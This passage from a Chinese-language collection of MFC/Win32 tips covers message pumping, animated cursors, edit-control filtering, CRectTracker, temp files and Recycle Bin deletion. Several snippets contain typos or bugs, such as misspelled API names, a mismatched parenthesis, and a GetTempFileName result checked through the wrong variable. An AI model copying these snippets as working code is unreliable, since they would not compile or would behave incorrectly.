dc.SetTextColor( ::GetSysColor( COLOR_3DSHADOW));
dc.DrawText( m_LogoText, rect, DT_SINGLELINE | DT_LEFT | DT_VCENTER);

// restore old text color
dc.SetTextColor( OldColor);
// restore old font
dc.SelectObject(OldFont);
// Do not call CView::OnPaint() for painting messages
}

七、简单的消息检索和抽取函数,能够让系统响应其它操作
BOOL PeekAndPump()
{
static MSG msg;

while (::PeekMessage(&msg,NULL,0,0,PM_NOREMOVE)) {
if (!AfxGetApp()->PumpMessage()) {
   ::PostQuitMessage(0);
   return FALSE;
}
}
return TRUE;
}

八、在你的程序中用动画光标替换默认的等待光标 (ANI光标的使用)
HCURSOR m_hAniCursor=NULL;
BeginWaitCursor();   //begin wait cursor for api function

//load ani cursor from file in current path
TCHAR cursorPath[MAX_PATH]; GetModuleFileName(NULL,cursorPath,MAX_PATH);
char drive[_MAX_DRIVE];
char dir[_MAX_DIR];
char fname[_MAX_FNAME];
char ext[_MAX_EXT];
_splitpath(cursorPath, drive, dir, fname, ext );
sprintf(cursorPath,"%s%swait.ani",drive,dir); //ani cursor file name is wait.ani

m_hAniCursor= LoadCursorFromFile(cursorPath);
HCURSOR oldCursor;
if(m_hAniCursor != NULL)
oldCursor=SetCursor(m_hAniCursor);

for(long i=0;i<1000;i++)
Sleep(5);

oldCursor=NULL;
m_hAniCursor=NULL;
EndWaitCursor(); //end wait cursor for api function

九、如何限制编辑框中的准许字符
     如果用户在编辑控件中只允许接收数字,可以使用一个标准的编辑控件并指
定新的创建标志ES_NUMBERS,它是Windows 95新增加的标志,该标志限制 编辑控
件只按收数字字符。
如果用户需要复杂的编辑控件,可以使用Microsoft 的屏蔽编辑控件,它是一个很有用的OLE定制控件。
    如果希望不使用OLE 定制控件自己处理字符,可以派生一个CEdit 类并处理WM_CHAR消息,然后从编辑控件中过滤出特定的字符。首先,使用ClassWizard 建立一个 CEdit的派生类,其次,在对话类中指定一个成员变量将编辑控件分类在OnInitdialog 中调用CWnd: : SubclassDlgItem .

//In your dialog class declaration (.H file )
private :
    CMyEdit m_wndEdit ; // Instance of your new edit control .

//In you dialog class implementation (.CPP file )
BOOL CSampleDialog : : OnInitDialog ( )
{

    //Subclass the edit lontrod .
    m_wndEdit .SubclassDlgItem (IDC_EDIT,this );
    …
}
    使用ClassWizard处理WM_CHAR消息,计算nChar参量并决定所执行的操作,用户可以确定是否修改、传送字符。下例说明了如何显示字母字符,如果字符是字母字符,则调用CWnd ; OnChar,否则不调用OnChar.
//Only display alphabetic dharacters .
void CMyEdit : : OnChar (UINT nChar , UINT nRepCnt , UITN nFlags )
{
    //Determine if nChar is an alphabetic character .
    if (: : IsCharAlpha ( ( TCHAR) nChar ) )
        CEdit : : OnChar (nChar, nRepCnt , nFlags );
}
    如果要修改字符,则不能仅仅简单地用修改过的nChar调用CEdit : : OnChar。要修改一个字符,需要首先修改nChar,然后用修改过的nChar调用CWnd: : DefWindowProc。下例说明了如何将字符转变为大写:
//Make all characters uppercase
void CMyEdit : : OnChar (UINT nChar , UINT nRepCnt , UINT nFlags )
{
    //Make sure character is uppercase .
    if (: : IsCharAlpha ( .( TCHAR) nChar)
         nChar=: : CharUpper (nChar ) ;
    //Bypass default OnChar processing and directly call default window proc.
    DefWindProc (WM_CHAR, nChar , MAKELPARAM (nRepCnt , nFlags )) ;
}

十、串太长时如何在其末尾显示一个省略号
    调用CDC:: DrawText并指定DT_END_ELLIPSIS标志,这样就可以用小略号取代串末尾的字符使其适合于指定的边界矩形。如果要显示路径信息,指定DT_END_ELLIPSIS标志并省略号取代串中间的字符。
void CSampleView:: OnDraw (CDC* pDC)
{
     CTestDoc* pDoc=GetDocument ();
     ASSERT_VALID (pDoc);
                                                                                   
     //Add ellpsis to end of string if it does not fit
     pDC->Drawtext (CString ("This is a long string"),
         CRect (10, 10, 80, 30), DT_LEFT | DT_END_ELLIPSIS);

     //Add ellpsis to middle of string if it does not fit
     pDC->DrawText (AfxgetApp () ->m_pszhelpfilePath,
         CRect (10, 40, 200, 60), DT_LEFT | DT_PATH_ELLIPSIS);
}

十一、如何实现一个橡皮区矩形(具有踪迹矩形并可移动、缩放的矩形)
     CRectTracker是一个很有用的类,可以通过调用CRectTracker:: TrackRubberBand响应WM_LBUTTONDOWN消息来创建一个橡皮区矩形。下例表明使用CRectTracker移动和重置视窗中的蓝色椭圆的大小是很容易的事情。
    首先,在文档类中声明一个CRectTracker数据成员:
class CTestDoc: Public CDocument
{…
public:
CRectTracker m_tracker;

};
     其次,在文档类的构造函数中初始化CRectTracker 对象:
CTestDoc::CTestDoc()
{
m_tracker.m_rect.SetRect (10, 10, 300, 300);
m_tracker.m_nStyle=CRectTracker:: resizeInside |
CRectTracker:: dottedLine;
}
     然后,在视图类的OnDraw函数中画椭圆和踪迹矩形:
void CTestView::OnDraw(CDC* pDC)
{
CTestDoc* pDoc = GetDocument();
ASSERT_VALID(pDoc);

//Select blue brush into device context.
     CBrush brush (RGB (0, 0, 255));
     CBrush* pOldBrush=pDC->SelectObject (&brush);

     //draw ellipse in tracking rectangle.
     CRect rcEllipse;
     pDoc->m_tracker.GetTrueRect (rcEllipse);
     pDC->Ellipse (rcEllipse);

     //Draw tracking rectangle.
     pDoc->m_tracker.Draw (pDC);
     //Select blue brush out of device context.
     pDC->SelectObject(pOldBrush);
}
    最后,视图类中处理WM_LBUTTONDOWN消息,并增加下述代码。该段代码根据鼠标击键情况可以拖放、移动或者重置椭圆的大小。

void CTestView::OnLButtonDown(UINT nFlags, CPoint point)
{
   //Get pointer to document.
     CTestDoc* pDoc=GetDocument();
     ASSERT_VALID (pDoc);

     //If clicked on ellipse, drag or resize it. Otherwise create a
     //rubber-band rectangle nd create a new ellipse.
     BOOL bResult=pDoc->m_tracker.HitTest (point)!=
         CRectTracker::hitNothing;

     //Tracker rectangle changed so update views.
     if (bResult)
     {
        pDoc->m_tracker.Track (this,point,TRUE);
        pDoc->SetModifiedFlag ();
        pDoc->UpdateAllViews (NULL);
     }
     else
        pDoc->m_tracker.TrackRubberBand (this,point,TRUE);

CView::OnLButtonDown(nFlags, point);
}

十二、如何在临时目录创建一个临时文件
如果你要在临时目录下创建临时文件,下面的代码能帮到你的忙。
bool GetuniqueTempName (CString& strTempName)
{
strTempName="";
     //Get the temporary files directory.
     TCHAR szTempPath [MAX_PATH];
     DWORD dwResult=:: GetTempPath (MAX_PATH, szTempPath);
     if (dwResult==0)
   return false;

     //Create a unique temporary file.
     TCHAR szTempFile[MAX_PATH];
     UINT nResult=GetTempFileName (szTempPath, _T ("~ex"),0,szTempFile);
     if (dwResult==0)
   return false;

     strTempName=szTempFile;
return true;
}

十三、如何限制窗口的最小范围
要限制窗体的大小,下面的代码能帮到你的忙。
在CMainFrame中增加WM_GETMAXMININFO消息的处理函数,然后在这个函数中写代码如下:
//限制主窗体的最小高度和宽度
void CMainFrame::OnGetMinMaxInfo(MINMAXINFO FAR* lpMMI)
{
lpMMI->ptMinTrackSize.x=600;
lpMMI->ptMinTrackSize.y=400;
CNewFrameWnd::OnGetMinMaxInfo(lpMMI);
}

十四、怎样删除文件到回收站中
要删除文件到回收站,很简单。只要用SHFileOperation函数就行了,下面的代码我将为你演示了这一个函数的用法。当然你可以直接拷贝到你的项目中。
//删除文件到回收站中
//pszPath : 待删除的全路径文件名
//bDelete : TRUE 删除,不移到回收站,FALSE:移到回收站
一、 //返回    : TRUE 删除成功     FALSE 删除失败
BOOL CDelFileToRecycleDlg::Recycle(LPCTSTR pszPath, BOOL bDelete/*=FALSE*/)
{
SHFILEOPSTRUCT shDelFile;
memset(&shDelFile,0,sizeof(SHFILEOPSTRUCT));
shDelFile.fFlags |= FOF_SILENT;      // don’t report progress
shDelFile.fFlags |= FOF_NOERRORUI;     // don’t report errors
shDelFile.fFlags |= FOF_NOCONFIRMATION;    // don’t confirm delete
// Copy pathname to double-NULL-terminated string.
//
TCHAR buf[_MAX_PATH + 1]; // allow one more character
_tcscpy(buf, pszPath);   // copy caller’s pathname
buf[_tcslen(buf)+1]=0;   // need two NULLs at end

// Set SHFILEOPSTRUCT params for delete operation
shDelFile.wFunc = FO_DELETE;       // REQUIRED: delete operation
shDelFile.pFrom = buf;         // REQUIRED: which file(s)
shDelFile.pTo = NULL;          // MUST be NULL
if (bDelete)
{         // if delete requested..
shDelFile.fFlags &= ~FOF_ALLOWUNDO;    // ..don’t use Recycle Bin
}
else
{           // otherwise..
shDelFile.fFlags |= FOF_ALLOWUNDO;    // ..send to Recycle Bin
}
     return SHFileOperation(&shDelFile);    // do it!
}

十五、内存泄漏检查
    也许你已经知道,在C++和C语言中指针问题也就是内存申请与释放是一个令人头疼的事情,假如你申请了内存,但没有释放,并且你的程序需要长时间地运行,那么,系统的资源将逐渐减少,当系统的资源全部被用完时,系统将会崩溃。所以在开发程序的过程中一定要保证资源的完全释放。下面我们来介绍内存漏洞的检查。
示例如下:
// do your memory allocations and deallocations…
CString s = "This is a frame variable";
#ifdef _DEBUG
CMemoryState oldMemState, newMemState, diffMemState;
oldMemState.Checkpoint();
#endif
// the next object is a heap object
CString* p = new CString( "Smith Alan 581_0215" );
delete p;
p=NULL;
#ifdef _DEBUG
newMemState.Checkpoint();
BOOL b=diffMemState.Difference(oldMemState, newMemState);
if (b)
{
AfxMessageBox( "Memory leaked!n" );
}
#endif
     根据试验,由于我们无法释放掉象int CString char 申请的变量。只能释放指针型的变量。而检测内存时,照样会出现内存泄漏现象。所以,这种内存检测方式局限性还是很大。因为我们无法释放非指针型变量。

Read: 828